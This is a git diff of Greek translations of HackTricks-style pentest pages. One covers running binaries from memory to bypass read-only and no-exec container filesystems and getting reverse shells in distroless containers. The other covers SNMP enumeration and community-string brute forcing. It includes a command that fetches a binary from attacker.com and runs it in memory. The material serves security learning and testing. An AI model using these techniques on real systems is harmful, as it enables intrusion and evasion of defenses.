* [**DEF CON 31 - Εξερεύνηση της Ανακατασκευής Μνήμης Linux για Αόρατη Δράση και Αποφυγή**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Αόρατες εισβολές με το DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Εξερεύνηση της Ανακατασκευής Μνήμης Linux για Κρυφή και Αποφυγή**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Κρυφές εισβολές με το DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές Linux που έχουν τοποθετηθεί με προστασία **μόνο για ανάγνωση (ro) του συστήματος αρχείων**, ειδικά σε containers. Αυτό συμβαίνει επειδή η εκτέλεση ενός container με ro σύστημα αρχείων είναι τόσο εύκολη όσο η ρύθμιση **`readOnlyRootFilesystem: true`** στο `securitycontext`:
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές Linux που έχουν τοποθετηθεί με προστασία **μόνο για ανάγνωση (ro) του συστήματος αρχείων**, ειδικά σε containers. Αυτό συμβαίνει επειδή η εκτέλεση ενός container με ro σύστημα αρχείων είναι τόσο εύκολη όσο το να ορίσετε **`readOnlyRootFilesystem: true`** στο `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,21 +44,21 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ωστόσο, ακόμα κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα παραμείνει εγγράψιμο, οπότε δεν είναι αδύνατο να γράψουμε κάτι στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορέσετε να το εκτελέσετε**.
Ωστόσο, ακόμα κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα παραμείνει εγγράψιμο, οπότε δεν είναι αληθινό ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
{% hint style="warning" %}
Από την οπτική γωνία μιας ομάδας red team, αυτό κάνει **πιο περίπλοκη τη λήψη και εκτέλεση** δυαδικών που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει **πιο περίπλοκη τη λήψη και εκτέλεση** δυαδικών που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
{% endhint %}
## Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι αναφέρθηκα σε δυαδικά, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** όσο το διερμηνέα είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **σενάριο python** αν έχει εγκατασταθεί το `python`.
Σημειώστε ότι ανέφερα δυαδικά, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** όσο το διερμηνέας βρίσκεται μέσα στη μηχανή, όπως ένα **σενάριο κελύφους** αν το `sh` είναι παρόν ή ένα **σενάριο Python** αν έχει εγκατασταθεί το `python`.
Ωστόσο, αυτό δεν είναι αρκετό μόνο για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να εκτελέσετε.
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να εκτελέσετε.
## Παραβιάσεις Μνήμης
## Παρακάμψεις Μνήμης
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος για να το κάνετε είναι με το **εκτέλεσή του από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι με το **να το εκτελέσετε από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
### Παράκαμψη FD + exec syscall
@ -67,19 +67,19 @@ securityContext:
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στην καθορισμένη γλώσσα με το **δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64** με τις οδηγίες για το **αποκωδικοποίηση και αποσυμπίεση** του σε ένα **fd** που δημιουργείται καλώντας το `create_memfd` syscall και μια κλήση στο **exec** syscall για να το εκτελέσει.
{% hint style="warning" %}
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως το PHP ή το Node επειδή δεν έχουν κανέναν **προεπιλεγμένο τρόπο να καλέσουν raw syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το `create_memfd` για να δημιουργήσουν το **fd μνήμης** για να αποθηκεύσουν το δυαδικό.
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως PHP ή Node επειδή δεν έχουν κανέναν **προεπιλεγμένο τρόπο να καλέσουν raw syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το `create_memfd` για να δημιουργήσουν το **fd μνήμης** για να αποθηκεύσουν το δυαδικό.
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε λόγω της **προστασίας χωρίς εκτέλεση** που θα εφαρμοστεί.
{% endhint %}
### DDexec / EverythingExec
Το [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σάς επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διεργασίας** με τον υπεργραφέα της **`/proc/self/mem`**.
Το [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σάς επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διεργασίας** με το να αντικαταστήσετε το **`/proc/self/mem`** της.
Έτσι, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα **shellcode** και "μεταλλάξετε" τη διεργασία για να **εκτελέσετε οποιοδήποτε αυθαίρετο κώδικα**.
Έτσι, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα **shellcode** και "μεταλλάξετε" τη διεργασία για να **εκτελέσει οποιοδήποτε αυθαίρετο κώδικα**.
{% hint style="success" %}
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και **να εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
{% endhint %}
```bash
# Basic example
@ -87,40 +87,40 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό αρχείο** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, απλά μπορείτε να εκτελέσετε τον κώδικα κατάστασης memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτόν τον δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**.
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα αντίστροφο κέλυφος PHP** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά από ένα αντίστροφο κέλυφος PHP** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών** στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών με εξαρτήσεις.
## Διασπορά Bypass
### Τι είναι το distroless
Τα δοχεία distroless περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να εκτελέσουν μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως έναν διαχειριστή πακέτων, κέλυφος ή διατηρητές συστήματος.
Τα δοχεία distroless περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να εκτελέσουν μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως ένας διαχειριστής πακέτων, κέλυφος ή διατηρητές συστήματος.
Ο στόχος των δοχείων distroless είναι να **μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία** και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
### Αντίστροφο Κέλυφος
Σε ένα δοχείο distroless ενδέχεται να **μην βρείτε ούτε το `sh` ούτε το `bash`** για να λάβετε ένα κανονικό κέλυφος. Δεν θα βρείτε επίσης δυαδικά όπως το `ls`, `whoami`, `id`... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
Σε ένα δοχείο distroless ενδέχεται να **μην βρείτε ούτε το `sh` ούτε το `bash`** για να λάβετε ένα κανονικό κέλυφο. Δεν θα βρείτε επίσης δυαδικά όπως `ls`, `whoami`, `id`... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
{% hint style="warning" %}
Συνεπώς, **δεν** θα μπορείτε να λάβετε ένα **αντίστροφο κέλυφος** ή να **απαριθμήσετε** το σύστημα όπως συνήθως κάνετε.
{% endhint %}
Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα **αντίστροφο κέλυφος Python**. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφος, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα σεναρίων**.
Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα **αντίστροφο κέλυφος Python**. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφος, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα σεναρίωσης**.
{% hint style="success" %}
Χρησιμοποιώντας τη γλώσσα σεναρίων μπορείτε να **απαριθμήσετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
Χρησιμοποιώντας τη γλώσσα σεναρίωσης μπορείτε να **απαριθμήσετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
{% endhint %}
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`** μπορείτε να καταχραστείτε το αντίστροφο κέλυφος σας για να **γράψετε στο σύστημα αρχεία δυαδικών** και να τα **εκτελέσετε**.
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`** μπορείτε να καταχραστείτε το αντίστροφο κέλυφος σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας** και να τα **εκτελέσετε**.
{% hint style="success" %}
Ωστόσο, σε αυτού του είδους τα δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
Ωστόσο, σε αυτού του είδους δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
{% endhint %}
Μπορείτε να βρείτε **παραδείγματα** για το **εκμετάλλευση ορισμένων ευπαθειών RCE** για να λάβετε αντίστροφα κέλυφη γλωσσών σεναρίων και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Μπορείτε να βρείτε **παραδείγματα** για το **εκμετάλλευση ορισμένων ευπαθειών RCE** για να λάβετε αντίστροφα κέλυφη γλωσσών σεναρίωσης και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).

View file

@ -1,4 +1,4 @@
# 161,162,10161,10162/udp - Ελεγκτική δοκιμή SNMP
# 161,162,10161,10162/udp - Ελέγχοντας την ασφάλεια του SNMP
<details>
@ -9,14 +9,14 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και να χακεύετε το αχανές - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,16 +33,16 @@ PORT STATE SERVICE REASON VERSION
### MIB
Για να εξασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε το **Management Information Base (MIB)**. Το MIB είναι ένα **ανεξάρτητο μορφότυπο για την αποθήκευση πληροφοριών συσκευών**. Ένα MIB είναι ένα **κείμενο** στο οποίο καταχωρούνται όλα τα ερωτήσιμα **αντικείμενα SNMP** μιας συσκευής σε μια **κανονισμένη** ιεραρχία δέντρου. Περιλαμβάνει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από την απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\
Τα αρχεία MIB γράφονται σε μορφή κειμένου ASCII βασισμένη στην `Abstract Syntax Notation One` (`ASN.1`). Τα **MIB δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφονται για το συγκεκριμένο OID, ή ποιος τύπος δεδομένων χρησιμοποιείται.
Για να εξασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε το **Management Information Base (MIB)**. Το MIB είναι ένα **ανεξάρτητο μορφότυπο για την αποθήκευση πληροφοριών συσκευής**. Ένα MIB είναι ένα **κείμενο** στο οποίο καταχωρούνται όλα τα ερωτήσιμα **αντικείμενα SNMP** μιας συσκευής σε μια **κανονισμένη** ιεραρχία δέντρου. Περιλαμβάνει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από την απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\
Τα αρχεία MIB γράφονται σε μορφή κειμένου ASCII βασισμένη στο `Abstract Syntax Notation One` (`ASN.1`). Τα **MIB δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφονται για το συγκεκριμένο OID, ή ποιος τύπος δεδομένων χρησιμοποιείται.
### OIDs
Τα **Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές σχεδιάστηκαν για τη διαχείριση αντικειμένων εντός ενός **Management Information Base (MIB)**.
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, είναι εκχωρημένα σε διάφορες οργανισμούς που θεσπίζουν πρότυπα. Είναι εντός αυτών των υψηλών επιπέδων που καθορίζεται το πλαίσιο για παγκόσμιες πρακτικές διαχείρισης και πρότυπα.
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, είναι εκχωρημένα σε διάφορες οργανώσεις που θεσπίζουν πρότυπα. Είναι εντός αυτών των υψηλών επιπέδων που καθορίζεται το πλαίσιο για παγκόσμιες πρακτικές διαχείρισης και πρότυπα.
Επιπλέον, στους προμηθευτές δίνεται η ελευθερία να δημιουργήσουν ιδιωτικά κλαδιά. Μέσα σε αυτά τα κλαδιά, έχουν τη **αυτονομία να περιλαμβάνουν διαχειριζόμενα αντικείμενα που αφορούν τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα εξασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και διαχείριση μιας ευρείας γκάμας αντικειμένων ανάμεσα σε διαφορετικούς προμηθευτές και πρότυπα.
Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργήσουν ιδιωτικά κλαδιά. Μέσα σε αυτά τα κλαδιά, έχουν τη **αυτονομία να περιλαμβάνουν διαχειριζόμενα αντικείμενα που αφορούν τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα εξασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και διαχείριση μιας ευρείας γκάμας αντικειμένων ανάμεσα σε διαφορετικούς προμηθευτές και πρότυπα.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
@ -59,17 +59,17 @@ PORT STATE SERVICE REASON VERSION
* 1 - αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλα τα OIDs ξεκινούν με "1"
* 3 - αυτό ονομάζεται ORG και χρησιμοποιείται για να καθορίσει τον οργανισμό που κατασκεύασε τη συσκευή.
* 6 - αυτό είναι το dod ή το Department of Defense που είναι ο οργανισμός που ίδρυσε πρώτα το Διαδίκτυο.
* 1 - αυτή είναι η τιμή του Διαδικτύου για να υποδείξει ότι όλες οι επικοινωνίες θα γίνουν μέσω του Διαδικτύου.
* 6 - αυτό είναι το dod ή το Υπουργείο Άμυνας που είναι ο οργανισμός που ίδρυσε πρώτα το Διαδίκτυο.
* 1 - αυτή είναι η τιμή του Διαδικτύου για να υποδείξει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου.
* 4 - αυτή η τιμή καθορίζει ότι αυτή η συσκευή είναι κατασκευασμένη από μια ιδιωτική οργάνωση και όχι από κυβέρνηση.
* 1 - αυτή η τιμή υποδηλώνει ότι η συσκευή είναι κατασκευασμένη από μια επιχείρηση ή επιχειρηματικό οντότητα.
* 1 - αυτή η τιμή υποδηλώνει ότι η συσκευή είναι κατασκευασμένη από μια επιχείρηση ή επιχειρηματική οντότητα.
Αυτές οι πρώτες έξι τιμές τείνουν να είναι ίδιες για όλες τις συσκευές και σας δίνουν τις βασικές πληροφορίες γι' αυτές. Αυτή η ακολουθία αριθμών θα είναι ίδια για όλα τα OIDs, εκτός αν η συσκευή είναι κατασκευασμένη από την κυβέρνηση.
Προχωρώντας στο επόμενο σύνολο αριθμών.
* 1452 - δίνει το όνομα του οργανισμού που κατασκεύασε αυτήν τη συσκευή.
* 1 - εξηγεί τον τύπο της συσκευής. Σε αυτήν την περίπτωση, είναι ένα ρολόι ξυπνητήρι.
* 1452 - δίνει το όνομα του οργανισμού που κατασκεύασε αυτή τη συσκευή.
* 1 - εξηγεί τον τύπο της συσκευής. Σε αυτή την περίπτωση, είναι ένα ρολόι ξυπνητηριού.
* 2 - καθορίζει ότι αυτή η συσκευή είναι μια απομακρυσμένη μονάδα τερματικού.
Οι υπόλοιπες τιμές δίνουν συγκεκριμένες πληροφορίες για τη συσκευή.
@ -86,19 +86,19 @@ PORT STATE SERVICE REASON VERSION
Υπάρχουν 2 σημαντικές εκδόσεις του SNMP:
* **SNMPv1**: Η κύρια, εξακολουθεί να είναι η πιο συχνή, η **ταυθεντοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **κείμενο απλού κειμένου** (όλες οι πληροφορίες ταξιδεύουν σε απλό κείμενο). **Η Έκδοση 2 και 2c** στέλνουν την **κίνηση σε απλό κείμενο** επίσης και χρησιμοποιούν μια **συμβολοσειρά κοινότητας ως ταυθεντοποίηση**.
* **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή ταυθεντοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μια **επίθεση λεξικού** θα μπορούσε να πραγματοποιηθεί αλλά θα ήταν πολύ πιο δύσκολο να βρεθούν τα σωστά διαπιστευτήρια από ό,τι στο SNMPv1 και v2).
* **SNMPv1**: Η κύρια, εξακολουθεί να είναι η πιο συχνή, η **ταυτοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **κείμενο απλού κειμένου** (όλες οι πληροφορίες ταξιδεύουν σε απλό κείμενο). **Η έκδοση 2 και 2c** στέλνουν την **κίνηση σε απλό κείμενο** επίσης και χρησιμοποιούν μια **συμβολοσειρά κοινότητας ως ταυτοποίηση**.
* **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή ταυτοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μια **επίθεση λεξικού** θα μπορούσε να πραγματοποιηθεί αλλά θα ήταν πολύ πιο δύσκολο να βρεθούν τα σωστά διαπιστευτήρια από ό,τι στο SNMPv1 και v2).
### Συμβολοσειρές Κοινότητας
Όπως αναφέρθηκε προηγουμένως, **για να έχετε πρόσβαση στις π
Όπως αναφέρθηκε προηγουμένως, **για να έχετε πρόσβαση στ
```bash
apt-get install snmp-mibs-downloader
download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
Εάν γνωρίζετε ένα έγκυρο κοινό κλειδί (community string), μπορείτε να έχετε πρόσβαση στα δεδομένα χρησιμοποιώντας το **SNMPWalk** ή το **SNMP-Check**:
Εάν γνωρίζετε ένα έγκυρο κοινό κλειδί, μπορείτε να έχετε πρόσβαση στα δεδομένα χρησιμοποιώντας το **SNMPWalk** ή το **SNMP-Check**:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -118,20 +118,20 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διεπαφές δικτύου** (διευθύνσεις IPv4 και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/Λειτουργικού συστήματος, και **διεργασίες**
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Δικτυακές διεπαφές** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/Λειτουργικού συστήματος, και **διεργασίες**
**που τρέχουν** (μπορεί να περιέχουν κωδικούς πρόσβασης)....
### **Επικίνδυνες ρυθμίσεις**
Στον τομέα της διαχείρισης δικτύου, ορισμένες ρυθμίσεις και παράμετροι είναι καίριες για τη διασφάλιση πλήρους παρακολούθησης και ελέγχου.
Στον τομέα της διαχείρισης δικτύου, ορισμένες ρυθμίσεις και παράμετροι είναι καίριες για τη διασφάλιση ολοκληρωμένης παρακολούθησης και ελέγχου.
### Ρυθμίσεις πρόσβασης
Δύο κύριες ρυθμίσεις επιτρέπουν πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο στοιχείο στη διαχείριση δικτύου:
1. Το **`rwuser noauth`** έχει οριστεί για να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη για πιστοποίηση. Αυτή η ρύθμιση είναι απλή και επιτρέπει την ανεμπόδιστη πρόσβαση.
2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να δοθεί χρησιμοποιώντας:
1. Το **`rwuser noauth`** έχει οριστεί για να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη για πιστοποίηση. Αυτή η ρύθμιση είναι απλή και επιτρέπει την απεριόριστη πρόσβαση.
2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να χορηγηθεί χρησιμοποιώντας:
* **`rwcommunity`** για διευθύνσεις **IPv4**, και
* **`rwcommunity6`** για διευθύνσεις **IPv6**.
@ -141,7 +141,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Μια σειρά από τιμές **Βάσης Πληροφοριών Διαχείρισης (MIB)** χρησιμοποιούνται για την παρακολούθηση διάφορων πτυχών ενός συστήματος Windows μέσω SNMP:
* **Διεργασίες Συστήματος**: Προσπελάσιμες μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών στο σύστημα.
* **Διεργασίες Συστήματος**: Προσπελαύνεται μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών εντός του συστήματος.
* **Τρέχοντα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` είναι ειδικά για την παρακολούθηση προγραμμάτων που τρέχουν αυτή τη στιγμή.
* **Διαδρομή Διεργασιών**: Για να καθορίσετε από πού τρέχει μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
* **Μονάδες Αποθήκευσης**: Η παρακολούθηση μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`.
@ -159,7 +159,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
## Από το SNMP στην RCE
Αν έχετε τη **συμβολοσειρά** που σας επιτρέπει να **εγγράψετε τιμές** μέσα στην υπηρεσία SNMP, μπορείτε να την εκμεταλλευτείτε για να **εκτελέσετε εντολές**:
